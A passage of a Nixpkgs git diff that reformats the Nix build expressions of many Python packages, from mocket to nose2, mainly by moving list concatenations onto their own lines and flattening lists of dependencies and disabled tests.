-    ];
+  disabledTests = [
+    # tests that require network access (like DNS lookups)
+    "test_truesendall_with_dump_from_recording"
+    "test_aiohttp"
+    "test_asyncio_record_replay"
+    "test_gethostbyname"
+    # httpx read failure
+    "test_no_dangling_fds"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    # fails on darwin due to upstream bug: https://github.com/mindflayer/python-mocket/issues/287
+    "test_httprettish_httpx_session"
+  ];
 
   pythonImportsCheck = [ "mocket" ];
 
diff --git a/pkgs/development/python-modules/molecule/default.nix b/pkgs/development/python-modules/molecule/default.nix
index 5aba9687badd..e33bf9f955de 100644
--- a/pkgs/development/python-modules/molecule/default.nix
+++ b/pkgs/development/python-modules/molecule/default.nix
@@ -49,7 +49,8 @@ buildPythonPackage rec {
     rich
     yamllint
     wcmatch
-  ] ++ lib.optional withPlugins molecule-plugins;
+  ]
+  ++ lib.optional withPlugins molecule-plugins;
 
   pythonImportsCheck = [ "molecule" ];
 
diff --git a/pkgs/development/python-modules/monty/default.nix b/pkgs/development/python-modules/monty/default.nix
index 6b6f59540047..1ee9626ab6e5 100644
--- a/pkgs/development/python-modules/monty/default.nix
+++ b/pkgs/development/python-modules/monty/default.nix
@@ -64,23 +64,23 @@ buildPythonPackage rec {
       pytest
       pytest-cov
       types-requests
-    ] ++ optional;
+    ]
+    ++ optional;
     dev = [ ipython ];
     docs = [
       sphinx
       sphinx-rtd-theme
     ];
-    json =
-      [
-        orjson
-        pandas
-        pydantic
-        pymongo
-      ]
-      ++ lib.optionals (pythonOlder "3.13") [
-        pint
-        torch
-      ];
+    json = [
+      orjson
+      pandas
+      pydantic
+      pymongo
+    ]
+    ++ lib.optionals (pythonOlder "3.13") [
+      pint
+      torch
+    ];
     multiprocessing = [ tqdm ];
     optional = dev ++ json ++ multiprocessing ++ serialization;
     serialization = [ msgpack ];
diff --git a/pkgs/development/python-modules/moto/default.nix b/pkgs/development/python-modules/moto/default.nix
index ec8898371c8f..54f1006161dc 100644
--- a/pkgs/development/python-modules/moto/default.nix
+++ b/pkgs/development/python-modules/moto/default.nix
@@ -300,7 +300,8 @@ buildPythonPackage rec {
     pytest-order
     pytest-xdist
     pytestCheckHook
-  ] ++ optional-dependencies.server;
+  ]
+  ++ optional-dependencies.server;
 
   # Some tests depend on AWS credentials environment variables to be set.
   env.AWS_ACCESS_KEY_ID = "ak";
diff --git a/pkgs/development/python-modules/moviepy/default.nix b/pkgs/development/python-modules/moviepy/default.nix
index 272eb3ad8843..20af2a5e49dc 100644
--- a/pkgs/development/python-modules/moviepy/default.nix
+++ b/pkgs/development/python-modules/moviepy/default.nix
@@ -69,32 +69,32 @@ buildPythonPackage rec {
   nativeCheckInputs = [
     pytest-timeout
     pytestCheckHook
-  ] ++ lib.flatten (lib.attrValues optional-dependencies);
+  ]
+  ++ lib.flatten (lib.attrValues optional-dependencies);
 
   # See https://github.com/NixOS/nixpkgs/issues/381908 and https://github.com/NixOS/nixpkgs/issues/385450.
   pytestFlagsArray = [ "--timeout=600" ];
 
   pythonImportsCheck = [ "moviepy" ];
 
-  disabledTests =
-    [
-      # stalls
-      "test_doc_examples"
-      # video orientation mismatch, 0 != 180
-      "test_PR_529"
-      # video orientation [1920, 1080] != [1080, 1920]
-      "test_ffmpeg_parse_video_rotation"
-      "test_correct_video_rotation"
-      # media duration mismatch: assert 230.0 == 30.02
-      "test_ffmpeg_parse_infos_decode_file"
-      # Failed: DID NOT RAISE <class 'OSError'>
-      "test_ffmpeg_resize"
-      "test_ffmpeg_stabilize_video"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      # Failed: Timeout >30.0s
-      "test_issue_1682"
-    ];
+  disabledTests = [
+    # stalls
+    "test_doc_examples"
+    # video orientation mismatch, 0 != 180
+    "test_PR_529"
+    # video orientation [1920, 1080] != [1080, 1920]
+    "test_ffmpeg_parse_video_rotation"
+    "test_correct_video_rotation"
+    # media duration mismatch: assert 230.0 == 30.02
+    "test_ffmpeg_parse_infos_decode_file"
+    # Failed: DID NOT RAISE <class 'OSError'>
+    "test_ffmpeg_resize"
+    "test_ffmpeg_stabilize_video"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    # Failed: Timeout >30.0s
+    "test_issue_1682"
+  ];
 
   disabledTestPaths = [
     "tests/test_compositing.py"
diff --git a/pkgs/development/python-modules/mrjob/default.nix b/pkgs/development/python-modules/mrjob/default.nix
index 1fd83fe21a89..fa36ae67a44a 100644
--- a/pkgs/development/python-modules/mrjob/default.nix
+++ b/pkgs/development/python-modules/mrjob/default.nix
@@ -71,7 +71,8 @@ buildPythonPackage rec {
     pyspark
     unittestCheckHook
     warcio
-  ] ++ lib.flatten (builtins.attrValues optional-dependencies);
+  ]
+  ++ lib.flatten (builtins.attrValues optional-dependencies);
 
   unittestFlagsArray = [ "-v" ];
 
diff --git a/pkgs/development/python-modules/msal-extensions/default.nix b/pkgs/development/python-modules/msal-extensions/default.nix
index a7d92d95a9e3..4a8d74f7768f 100644
--- a/pkgs/development/python-modules/msal-extensions/default.nix
+++ b/pkgs/development/python-modules/msal-extensions/default.nix
@@ -35,20 +35,19 @@ buildPythonPackage rec {
 
   nativeCheckInputs = [ pytestCheckHook ];
 
-  disabledTests =
-    [
-      # `from gi.repository import Secret` fails to find libsecret
-      "test_token_cache_roundtrip_with_persistence_builder"
-      "test_libsecret_persistence"
-      "test_nonexistent_libsecret_persistence"
-      # network access
-      "test_token_cache_roundtrip_with_file_persistence"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      #  msal_extensions.osx.KeychainError
-      "test_keychain_roundtrip"
-      "test_keychain_persistence"
-    ];
+  disabledTests = [
+    # `from gi.repository import Secret` fails to find libsecret
+    "test_token_cache_roundtrip_with_persistence_builder"
+    "test_libsecret_persistence"
+    "test_nonexistent_libsecret_persistence"
+    # network access
+    "test_token_cache_roundtrip_with_file_persistence"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    #  msal_extensions.osx.KeychainError
+    "test_keychain_roundtrip"
+    "test_keychain_persistence"
+  ];
 
   pythonImportsCheck = [ "msal_extensions" ];
 
diff --git a/pkgs/development/python-modules/msal/default.nix b/pkgs/development/python-modules/msal/default.nix
index 5d3836410a90..00ef1310e269 100644
--- a/pkgs/development/python-modules/msal/default.nix
+++ b/pkgs/development/python-modules/msal/default.nix
@@ -27,7 +27,8 @@ buildPythonPackage rec {
     cryptography
     pyjwt
     requests
-  ] ++ pyjwt.optional-dependencies.crypto;
+  ]
+  ++ pyjwt.optional-dependencies.crypto;
 
   # Tests assume Network Connectivity:
   # https://github.com/AzureAD/microsoft-authentication-library-for-python/blob/e2958961e8ec16d0af4199f60c36c3f913497e48/tests/test_authority.py#L73
diff --git a/pkgs/development/python-modules/msrest/default.nix b/pkgs/development/python-modules/msrest/default.nix
index de7662b7bc8f..07e94b76aaa4 100644
--- a/pkgs/development/python-modules/msrest/default.nix
+++ b/pkgs/development/python-modules/msrest/default.nix
@@ -52,24 +52,23 @@ buildPythonPackage {
     trio
   ];
 
-  disabledTests =
-    [
-      # Test require network access
-      "test_basic_aiohttp"
-      "test_basic_aiohttp"
-      "test_basic_async_requests"
-      "test_basic_async_requests"
-      "test_conf_async_requests"
-      "test_conf_async_requests"
-      "test_conf_async_trio_requests"
-    ]
-    ++ lib.optionals (pythonAtLeast "3.12") [
-      # AttributeError: 'TestAuthentication' object has no attribute...
-      "test_apikey_auth"
-      "test_cs_auth"
-      "test_eventgrid_auth"
-      "test_eventgrid_domain_auth"
-    ];
+  disabledTests = [
+    # Test require network access
+    "test_basic_aiohttp"
+    "test_basic_aiohttp"
+    "test_basic_async_requests"
+    "test_basic_async_requests"
+    "test_conf_async_requests"
+    "test_conf_async_requests"
+    "test_conf_async_trio_requests"
+  ]
+  ++ lib.optionals (pythonAtLeast "3.12") [
+    # AttributeError: 'TestAuthentication' object has no attribute...
+    "test_apikey_auth"
+    "test_cs_auth"
+    "test_eventgrid_auth"
+    "test_eventgrid_domain_auth"
+  ];
 
   pythonImportsCheck = [ "msrest" ];
 
diff --git a/pkgs/development/python-modules/mtcnn/default.nix b/pkgs/development/python-modules/mtcnn/default.nix
index 4150634f2288..7194e0b2469c 100644
--- a/pkgs/development/python-modules/mtcnn/default.nix
+++ b/pkgs/development/python-modules/mtcnn/default.nix
@@ -31,14 +31,13 @@ buildPythonPackage rec {
 
   build-system = [ setuptools ];
 
-  dependencies =
-    [
-      joblib
-      lz4
-    ]
-    ++ lib.optionals (pythonAtLeast "3.12") [
-      distutils
-    ];
+  dependencies = [
+    joblib
+    lz4
+  ]
+  ++ lib.optionals (pythonAtLeast "3.12") [
+    distutils
+  ];
 
   pythonImportsCheck = [ "mtcnn" ];
 
diff --git a/pkgs/development/python-modules/mujoco-mjx/default.nix b/pkgs/development/python-modules/mujoco-mjx/default.nix
index 7073dc4484d1..9fc2ebe280d6 100644
--- a/pkgs/development/python-modules/mujoco-mjx/default.nix
+++ b/pkgs/development/python-modules/mujoco-mjx/default.nix
@@ -38,7 +38,8 @@ buildPythonPackage {
     mujoco
     scipy
     trimesh
-  ] ++ etils.optional-dependencies.epath;
+  ]
+  ++ etils.optional-dependencies.epath;
 
   pythonImportsCheck = [ "mujoco.mjx" ];
 
diff --git a/pkgs/development/python-modules/mypermobil/default.nix b/pkgs/development/python-modules/mypermobil/default.nix
index 85c2f56be151..616af8a8c06b 100644
--- a/pkgs/development/python-modules/mypermobil/default.nix
+++ b/pkgs/development/python-modules/mypermobil/default.nix
@@ -36,15 +36,14 @@ buildPythonPackage rec {
     pytestCheckHook
   ];
 
-  disabledTests =
-    [
-      # requires networking
-      "test_region"
-    ]
-    ++ lib.optionals (pythonAtLeast "3.13") [
-      # AssertionError: MyPermobilAPIException not raised
-      "test_request_item_404"
-    ];
+  disabledTests = [
+    # requires networking
+    "test_region"
+  ]
+  ++ lib.optionals (pythonAtLeast "3.13") [
+    # AssertionError: MyPermobilAPIException not raised
+    "test_request_item_404"
+  ];
 
   meta = {
     changelog = "https://github.com/Permobil-Software/mypermobil/releases/tag/v${version}";
diff --git a/pkgs/development/python-modules/mypy/default.nix b/pkgs/development/python-modules/mypy/default.nix
index 1ffadd2005f6..a2db57da9021 100644
--- a/pkgs/development/python-modules/mypy/default.nix
+++ b/pkgs/development/python-modules/mypy/default.nix
@@ -55,12 +55,14 @@ buildPythonPackage rec {
     types-setuptools
     typing-extensions
     wheel
-  ] ++ lib.optionals (pythonOlder "3.11") [ tomli ];
+  ]
+  ++ lib.optionals (pythonOlder "3.11") [ tomli ];
 
   dependencies = [
     mypy-extensions
     typing-extensions
-  ] ++ lib.optionals (pythonOlder "3.11") [ tomli ];
+  ]
+  ++ lib.optionals (pythonOlder "3.11") [ tomli ];
 
   optional-dependencies = {
     dmypy = [ psutil ];
@@ -75,19 +77,18 @@ buildPythonPackage rec {
   # when testing reduce optimisation level to reduce build time by 20%
   env.MYPYC_OPT_LEVEL = 1;
 
-  pythonImportsCheck =
-    [
-      "mypy"
-      "mypy.api"
-      "mypy.fastparse"
-      "mypy.types"
-      "mypyc"
-      "mypyc.analysis"
-    ]
-    ++ lib.optionals (!stdenv.hostPlatform.isi686) [
-      # ImportError: cannot import name 'map_instance_to_supertype' from partially initialized module 'mypy.maptype' (most likely due to a circular import)
-      "mypy.report"
-    ];
+  pythonImportsCheck = [
+    "mypy"
+    "mypy.api"
+    "mypy.fastparse"
+    "mypy.types"
+    "mypyc"
+    "mypyc.analysis"
+  ]
+  ++ lib.optionals (!stdenv.hostPlatform.isi686) [
+    # ImportError: cannot import name 'map_instance_to_supertype' from partially initialized module 'mypy.maptype' (most likely due to a circular import)
+    "mypy.report"
+  ];
 
   nativeCheckInputs = [
     attrs
@@ -96,33 +97,32 @@ buildPythonPackage rec {
     pytestCheckHook
     setuptools
     tomli
-  ] ++ lib.flatten (lib.attrValues optional-dependencies);
+  ]
+  ++ lib.flatten (lib.attrValues optional-dependencies);
 
-  disabledTests =
-    [
-      # fails with typing-extensions>=4.10
-      # https://github.com/python/mypy/issues/17005
-      "test_runtime_typing_objects"
-    ]
-    ++ lib.optionals (pythonAtLeast "3.12") [
-      # requires distutils
-      "test_c_unit_test"
-    ];
+  disabledTests = [
+    # fails with typing-extensions>=4.10
+    # https://github.com/python/mypy/issues/17005
+    "test_runtime_typing_objects"
+  ]
+  ++ lib.optionals (pythonAtLeast "3.12") [
+    # requires distutils
+    "test_c_unit_test"
+  ];
 
-  disabledTestPaths =
-    [
-      # fails to find tyoing_extensions
-      "mypy/test/testcmdline.py"
-      "mypy/test/testdaemon.py"
-      # fails to find setuptools
-      "mypyc/test/test_commandline.py"
-      # fails to find hatchling
-      "mypy/test/testpep561.py"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isi686 [
-      # https://github.com/python/mypy/issues/15221
-      "mypyc/test/test_run.py"
-    ];
+  disabledTestPaths = [
+    # fails to find tyoing_extensions
+    "mypy/test/testcmdline.py"
+    "mypy/test/testdaemon.py"
+    # fails to find setuptools
+    "mypyc/test/test_commandline.py"
+    # fails to find hatchling
+    "mypy/test/testpep561.py"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isi686 [
+    # https://github.com/python/mypy/issues/15221
+    "mypyc/test/test_run.py"
+  ];
 
   passthru.tests = {
     # Failing typing checks on the test-driver result in channel blockers.
diff --git a/pkgs/development/python-modules/myst-parser/default.nix b/pkgs/development/python-modules/myst-parser/default.nix
index 8e1ab236ac48..03863d8a8a15 100644
--- a/pkgs/development/python-modules/myst-parser/default.nix
+++ b/pkgs/development/python-modules/myst-parser/default.nix
@@ -51,7 +51,8 @@ buildPythonPackage rec {
     pytest-regressions
     sphinx-pytest
     pytestCheckHook
-  ] ++ markdown-it-py.optional-dependencies.linkify;
+  ]
+  ++ markdown-it-py.optional-dependencies.linkify;
 
   disabledTests = [
     # sphinx 8.2 compat
diff --git a/pkgs/development/python-modules/nanobind/default.nix b/pkgs/development/python-modules/nanobind/default.nix
index fb8bd35a91fc..c96750dd7712 100644
--- a/pkgs/development/python-modules/nanobind/default.nix
+++ b/pkgs/development/python-modules/nanobind/default.nix
@@ -58,18 +58,17 @@ buildPythonPackage rec {
     make -j $NIX_BUILD_CORES
   '';
 
-  nativeCheckInputs =
-    [
-      pytestCheckHook
-      numpy
-      scipy
-      torch
-    ]
-    ++ lib.optionals (lib.meta.availableOn stdenv.hostPlatform tensorflow-bin) [
-      tensorflow-bin
-      jax
-      jaxlib
-    ];
+  nativeCheckInputs = [
+    pytestCheckHook
+    numpy
+    scipy
+    torch
+  ]
+  ++ lib.optionals (lib.meta.availableOn stdenv.hostPlatform tensorflow-bin) [
+    tensorflow-bin
+    jax
+    jaxlib
+  ];
 
   passthru.tests = {
     pytest = nanobind.overridePythonAttrs { doCheck = true; };
diff --git a/pkgs/development/python-modules/napari/default.nix b/pkgs/development/python-modules/napari/default.nix
index ed7736c072b7..7f0c9ae5914a 100644
--- a/pkgs/development/python-modules/napari/default.nix
+++ b/pkgs/development/python-modules/napari/default.nix
@@ -97,7 +97,8 @@ mkDerivationWith buildPythonPackage rec {
     typing-extensions
     vispy
     wrapt
-  ] ++ dask.optional-dependencies.array;
+  ]
+  ++ dask.optional-dependencies.array;
 
   postFixup = ''
     wrapQtApp $out/bin/napari
diff --git a/pkgs/development/python-modules/narwhals/default.nix b/pkgs/development/python-modules/narwhals/default.nix
index 6c9e162220d0..ad190ad3b024 100644
--- a/pkgs/development/python-modules/narwhals/default.nix
+++ b/pkgs/development/python-modules/narwhals/default.nix
@@ -43,7 +43,8 @@ buildPythonPackage rec {
     # cudf = [ cudf ];
     dask = [
       dask
-    ] ++ dask.optional-dependencies.dataframe;
+    ]
+    ++ dask.optional-dependencies.dataframe;
     # modin = [ modin ];
     pandas = [ pandas ];
     polars = [ polars ];
@@ -57,7 +58,8 @@ buildPythonPackage rec {
     hypothesis
     pytest-env
     pytestCheckHook
-  ] ++ lib.flatten (builtins.attrValues optional-dependencies);
+  ]
+  ++ lib.flatten (builtins.attrValues optional-dependencies);
 
   pythonImportsCheck = [ "narwhals" ];
 
diff --git a/pkgs/development/python-modules/nats-py/default.nix b/pkgs/development/python-modules/nats-py/default.nix
index be0a09426eb1..1e620f9493bb 100644
--- a/pkgs/development/python-modules/nats-py/default.nix
+++ b/pkgs/development/python-modules/nats-py/default.nix
@@ -43,25 +43,24 @@ buildPythonPackage rec {
     uvloop
   ];
 
-  disabledTests =
-    [
-      # Timeouts
-      "ClientTLS"
-      # AssertionError
-      "test_fetch_n"
-      "test_kv_simple"
-      "test_pull_subscribe_limits"
-      "test_stream_management"
-      "test_subscribe_no_echo"
-      # Tests fail on hydra, often Time-out
-      "test_subscribe_iterate_next_msg"
-      "test_ordered_consumer_larger_streams"
-      "test_object_file_basics"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      "test_subscribe_iterate_next_msg"
-      "test_buf_size_force_flush_timeout"
-    ];
+  disabledTests = [
+    # Timeouts
+    "ClientTLS"
+    # AssertionError
+    "test_fetch_n"
+    "test_kv_simple"
+    "test_pull_subscribe_limits"
+    "test_stream_management"
+    "test_subscribe_no_echo"
+    # Tests fail on hydra, often Time-out
+    "test_subscribe_iterate_next_msg"
+    "test_ordered_consumer_larger_streams"
+    "test_object_file_basics"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    "test_subscribe_iterate_next_msg"
+    "test_buf_size_force_flush_timeout"
+  ];
 
   pythonImportsCheck = [ "nats" ];
 
diff --git a/pkgs/development/python-modules/nbconvert/default.nix b/pkgs/development/python-modules/nbconvert/default.nix
index 90c543962bf8..3543f5d2e899 100644
--- a/pkgs/development/python-modules/nbconvert/default.nix
+++ b/pkgs/development/python-modules/nbconvert/default.nix
@@ -57,24 +57,23 @@ buildPythonPackage rec {
 
   build-system = [ hatchling ];
 
-  dependencies =
-    [
-      beautifulsoup4
-      bleach
-      defusedxml
-      jinja2
-      jupyter-core
-      jupyterlab-pygments
-      markupsafe
-      mistune
-      nbclient
-      packaging
-      pandocfilters
-      pygments
-      traitlets
-    ]
-    ++ bleach.optional-dependencies.css
-    ++ lib.optionals (pythonOlder "3.10") [ importlib-metadata ];
+  dependencies = [
+    beautifulsoup4
+    bleach
+    defusedxml
+    jinja2
+    jupyter-core
+    jupyterlab-pygments
+    markupsafe
+    mistune
+    nbclient
+    packaging
+    pandocfilters
+    pygments
+    traitlets
+  ]
+  ++ bleach.optional-dependencies.css
+  ++ lib.optionals (pythonOlder "3.10") [ importlib-metadata ];
 
   preCheck = ''
     export HOME=$(mktemp -d)
diff --git a/pkgs/development/python-modules/nbdime/default.nix b/pkgs/development/python-modules/nbdime/default.nix
index 61f420899a2d..aa3fd2008932 100644
--- a/pkgs/development/python-modules/nbdime/default.nix
+++ b/pkgs/development/python-modules/nbdime/default.nix
@@ -62,24 +62,23 @@ buildPythonPackage rec {
     writableTmpDirAsHomeHook
   ];
 
-  disabledTests =
-    [
-      # subprocess.CalledProcessError: Command '['git', 'diff', 'base', 'diff.ipynb']' returned non-zero exit status 128.
-      # git-nbdiffdriver diff: line 1: git-nbdiffdriver: command not found
-      # fatal: external diff died, stopping at diff.ipynb
-      "test_git_diffdriver"
+  disabledTests = [
+    # subprocess.CalledProcessError: Command '['git', 'diff', 'base', 'diff.ipynb']' returned non-zero exit status 128.
+    # git-nbdiffdriver diff: line 1: git-nbdiffdriver: command not found
+    # fatal: external diff died, stopping at diff.ipynb
+    "test_git_diffdriver"
 
-      # subprocess.CalledProcessError: Command '['git', 'merge', 'remote-no-conflict']' returned non-zero exit status 1.
-      "test_git_mergedriver"
+    # subprocess.CalledProcessError: Command '['git', 'merge', 'remote-no-conflict']' returned non-zero exit status 1.
+    "test_git_mergedriver"
 
-      # Require network access
-      "test_git_difftool"
-      "test_git_mergetool"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      # OSError: Could not find system gitattributes location!
-      "test_locate_gitattributes_syste"
-    ];
+    # Require network access
+    "test_git_difftool"
+    "test_git_mergetool"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    # OSError: Could not find system gitattributes location!
+    "test_locate_gitattributes_syste"
+  ];
 
   preCheck = ''
     git config --global user.email "janedoe@example.com"
diff --git a/pkgs/development/python-modules/ndeflib/default.nix b/pkgs/development/python-modules/ndeflib/default.nix
index 883467b19fa8..a44b9aaa7999 100644
--- a/pkgs/development/python-modules/ndeflib/default.nix
+++ b/pkgs/development/python-modules/ndeflib/default.nix
@@ -31,7 +31,8 @@ buildPythonPackage rec {
   disabledTests = [
     # AssertionError caused due to wrong size
     "test_decode_error"
-  ] ++ lib.optionals (pythonAtLeast "3.12") [ "test_encode_error" ];
+  ]
+  ++ lib.optionals (pythonAtLeast "3.12") [ "test_encode_error" ];
 
   meta = with lib; {
     description = "Python package for parsing and generating NFC Data Exchange Format messages";
diff --git a/pkgs/development/python-modules/ndindex/default.nix b/pkgs/development/python-modules/ndindex/default.nix
index 2c8fec5e26d3..c6482111d6d9 100644
--- a/pkgs/development/python-modules/ndindex/default.nix
+++ b/pkgs/development/python-modules/ndindex/default.nix
@@ -66,7 +66,8 @@ buildPythonPackage rec {
     pytest-cov-stub
     pytestCheckHook
     sympy
-  ] ++ optional-dependencies.arrays;
+  ]
+  ++ optional-dependencies.arrays;
 
   pytestFlagsArray = [
     "--hypothesis-profile"
diff --git a/pkgs/development/python-modules/ndtypes/default.nix b/pkgs/development/python-modules/ndtypes/default.nix
index d3eb0a25ed01..21b13ffee682 100644
--- a/pkgs/development/python-modules/ndtypes/default.nix
+++ b/pkgs/development/python-modules/ndtypes/default.nix
@@ -31,14 +31,13 @@ buildPythonPackage {
                 'runtime_library_dirs = ["${libndtypes}/lib"]'
   '';
 
-  postInstall =
-    ''
-      mkdir $out/include
-      cp python/ndtypes/*.h $out/include
-    ''
-    + lib.optionalString stdenv.hostPlatform.isDarwin ''
-      install_name_tool -add_rpath ${libndtypes}/lib $out/${python.sitePackages}/ndtypes/_ndtypes.*.so
-    '';
+  postInstall = ''
+    mkdir $out/include
+    cp python/ndtypes/*.h $out/include
+  ''
+  + lib.optionalString stdenv.hostPlatform.isDarwin ''
+    install_name_tool -add_rpath ${libndtypes}/lib $out/${python.sitePackages}/ndtypes/_ndtypes.*.so
+  '';
 
   checkPhase = ''
     pushd python
diff --git a/pkgs/development/python-modules/nebula3-python/default.nix b/pkgs/development/python-modules/nebula3-python/default.nix
index 0746dc19fc93..a53459ba64d0 100644
--- a/pkgs/development/python-modules/nebula3-python/default.nix
+++ b/pkgs/development/python-modules/nebula3-python/default.nix
@@ -34,7 +34,8 @@ buildPythonPackage rec {
     httpx
     pytz
     six
-  ] ++ httpx.optional-dependencies.http2;
+  ]
+  ++ httpx.optional-dependencies.http2;
 
   nativeCheckInputs = [ pytestCheckHook ];
 
diff --git a/pkgs/development/python-modules/nengo/default.nix b/pkgs/development/python-modules/nengo/default.nix
index 2b0b65637704..a78933581c14 100644
--- a/pkgs/development/python-modules/nengo/default.nix
+++ b/pkgs/development/python-modules/nengo/default.nix
@@ -24,12 +24,11 @@ buildPythonPackage rec {
 
   nativeBuildInputs = [ setuptools ];
 
-  propagatedBuildInputs =
-    [
-      numpy
-    ]
-    ++ lib.optionals scipySupport [ scipy ]
-    ++ lib.optionals scikitSupport [ scikit-learn ];
+  propagatedBuildInputs = [
+    numpy
+  ]
+  ++ lib.optionals scipySupport [ scipy ]
+  ++ lib.optionals scikitSupport [ scikit-learn ];
 
   # checks req missing:
   #   pytest-allclose
diff --git a/pkgs/development/python-modules/netcdf4/default.nix b/pkgs/development/python-modules/netcdf4/default.nix
index 37ee4b79d3df..aa5ec4c56cc1 100644
--- a/pkgs/development/python-modules/netcdf4/default.nix
+++ b/pkgs/development/python-modules/netcdf4/default.nix
@@ -76,7 +76,8 @@ buildPythonPackage {
     NETCDF4_DIR = netcdf;
     CURL_DIR = curl.dev;
     JPEG_DIR = libjpeg.dev;
-  } // lib.optionalAttrs stdenv.cc.isClang { NIX_CFLAGS_COMPILE = "-Wno-error=int-conversion"; };
+  }
+  // lib.optionalAttrs stdenv.cc.isClang { NIX_CFLAGS_COMPILE = "-Wno-error=int-conversion"; };
 
   pythonImportsCheck = [ "netCDF4" ];
 
diff --git a/pkgs/development/python-modules/nextcord/default.nix b/pkgs/development/python-modules/nextcord/default.nix
index 3b11f2fb3bcd..58d244a16e19 100644
--- a/pkgs/development/python-modules/nextcord/default.nix
+++ b/pkgs/development/python-modules/nextcord/default.nix
@@ -52,18 +52,17 @@ buildPythonPackage rec {
     poetry-dynamic-versioning
   ];
 
-  dependencies =
-    [
-      aiodns
-      aiohttp
-      brotli
-      orjson
-      pynacl
-      typing-extensions
-    ]
-    ++ lib.optionals (pythonAtLeast "3.13") [
-      audioop-lts
-    ];
+  dependencies = [
+    aiodns
+    aiohttp
+    brotli
+    orjson
+    pynacl
+    typing-extensions
+  ]
+  ++ lib.optionals (pythonAtLeast "3.13") [
+    audioop-lts
+  ];
 
   # upstream has no tests
   doCheck = false;
diff --git a/pkgs/development/python-modules/niaarm/default.nix b/pkgs/development/python-modules/niaarm/default.nix
index 040c37f529e9..99a37ed52a4c 100644
--- a/pkgs/development/python-modules/niaarm/default.nix
+++ b/pkgs/development/python-modules/niaarm/default.nix
@@ -48,19 +48,19 @@ buildPythonPackage rec {
     pandas
     plotly
     scikit-learn
-  ] ++ lib.optionals (pythonOlder "3.11") [ tomli ];
+  ]
+  ++ lib.optionals (pythonOlder "3.11") [ tomli ];
 
-  disabledTests =
-    [
-      # Test requires extra nltk data dependency
-      "test_text_mining"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      # Fatal Python error: Aborted
-      # matplotlib/backend_bases.py", line 2654 in create_with_canvas
-      "test_hill_slopes"
-      "test_two_key_plot"
-    ];
+  disabledTests = [
+    # Test requires extra nltk data dependency
+    "test_text_mining"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    # Fatal Python error: Aborted
+    # matplotlib/backend_bases.py", line 2654 in create_with_canvas
+    "test_hill_slopes"
+    "test_two_key_plot"
+  ];
 
   nativeCheckInputs = [ pytestCheckHook ];
 
diff --git a/pkgs/development/python-modules/nibabel/default.nix b/pkgs/development/python-modules/nibabel/default.nix
index b905f1c4a75d..d9375d645e66 100644
--- a/pkgs/development/python-modules/nibabel/default.nix
+++ b/pkgs/development/python-modules/nibabel/default.nix
@@ -37,13 +37,12 @@ buildPythonPackage rec {
     hatch-vcs
   ];
 
-  dependencies =
-    [
-      numpy
-      packaging
-    ]
-    ++ lib.optionals (pythonOlder "3.12") [ importlib-resources ]
-    ++ lib.optionals (pythonOlder "3.13") [ typing-extensions ];
+  dependencies = [
+    numpy
+    packaging
+  ]
+  ++ lib.optionals (pythonOlder "3.12") [ importlib-resources ]
+  ++ lib.optionals (pythonOlder "3.13") [ typing-extensions ];
 
   optional-dependencies = rec {
     all = dicom ++ dicomfs ++ minc2 ++ spm ++ zstd;
@@ -62,7 +61,8 @@ buildPythonPackage rec {
     pytest-httpserver
     pytest-xdist
     pytest7CheckHook
-  ] ++ optional-dependencies.all;
+  ]
+  ++ optional-dependencies.all;
 
   preCheck = ''
     export PATH=$out/bin:$PATH
diff --git a/pkgs/development/python-modules/nibe/default.nix b/pkgs/development/python-modules/nibe/default.nix
index 7546524372da..0aa20d1ac16d 100644
--- a/pkgs/development/python-modules/nibe/default.nix
+++ b/pkgs/development/python-modules/nibe/default.nix
@@ -55,7 +55,8 @@ buildPythonPackage rec {
     aresponses
     pytest-asyncio
     pytestCheckHook
-  ] ++ lib.flatten (builtins.attrValues optional-dependencies);
+  ]
+  ++ lib.flatten (builtins.attrValues optional-dependencies);
 
   pythonImportsCheck = [ "nibe" ];
 
diff --git a/pkgs/development/python-modules/nicegui/default.nix b/pkgs/development/python-modules/nicegui/default.nix
index ec7444a95308..ed3d5c2437b4 100644
--- a/pkgs/development/python-modules/nicegui/default.nix
+++ b/pkgs/development/python-modules/nicegui/default.nix
@@ -108,7 +108,8 @@ buildPythonPackage rec {
     pytestCheckHook
     webdriver-manager
     writableTmpDirAsHomeHook
-  ] ++ lib.flatten (builtins.attrValues optional-dependencies);
+  ]
+  ++ lib.flatten (builtins.attrValues optional-dependencies);
 
   pythonImportsCheck = [ "nicegui" ];
 
diff --git a/pkgs/development/python-modules/nidaqmx/default.nix b/pkgs/development/python-modules/nidaqmx/default.nix
index b054bc1a21d7..b55f30771eec 100644
--- a/pkgs/development/python-modules/nidaqmx/default.nix
+++ b/pkgs/development/python-modules/nidaqmx/default.nix
@@ -44,19 +44,18 @@ buildPythonPackage rec {
       --replace-fail '["poetry>=1.2"]' '["poetry-core>=1.0.0"]'
   '';
 
-  dependencies =
-    [
-      numpy
-      deprecation
-      hightime
-      tzlocal
-      python-decouple
-      click
-      requests
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      distro
-    ];
+  dependencies = [
+    numpy
+    deprecation
+    hightime
+    tzlocal
+    python-decouple
+    click
+    requests
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    distro
+  ];
 
   passthru.optional-dependencies = {
     docs = [
diff --git a/pkgs/development/python-modules/nose2/default.nix b/pkgs/development/python-modules/nose2/default.nix
index cbf66277951b..68e3032cd3e6 100644
--- a/pkgs/development/python-modules/nose2/default.nix
+++ b/pkgs/development/python-modules/nose2/default.nix
@@ -38,7 +38,8 @@ buildPythonPackage rec {
 
   nativeCheckInputs = [
     unittestCheckHook
-  ] ++ lib.flatten (lib.attrValues optional-dependencies);
+  ]
+  ++ lib.flatten (lib.attrValues optional-dependencies);
 
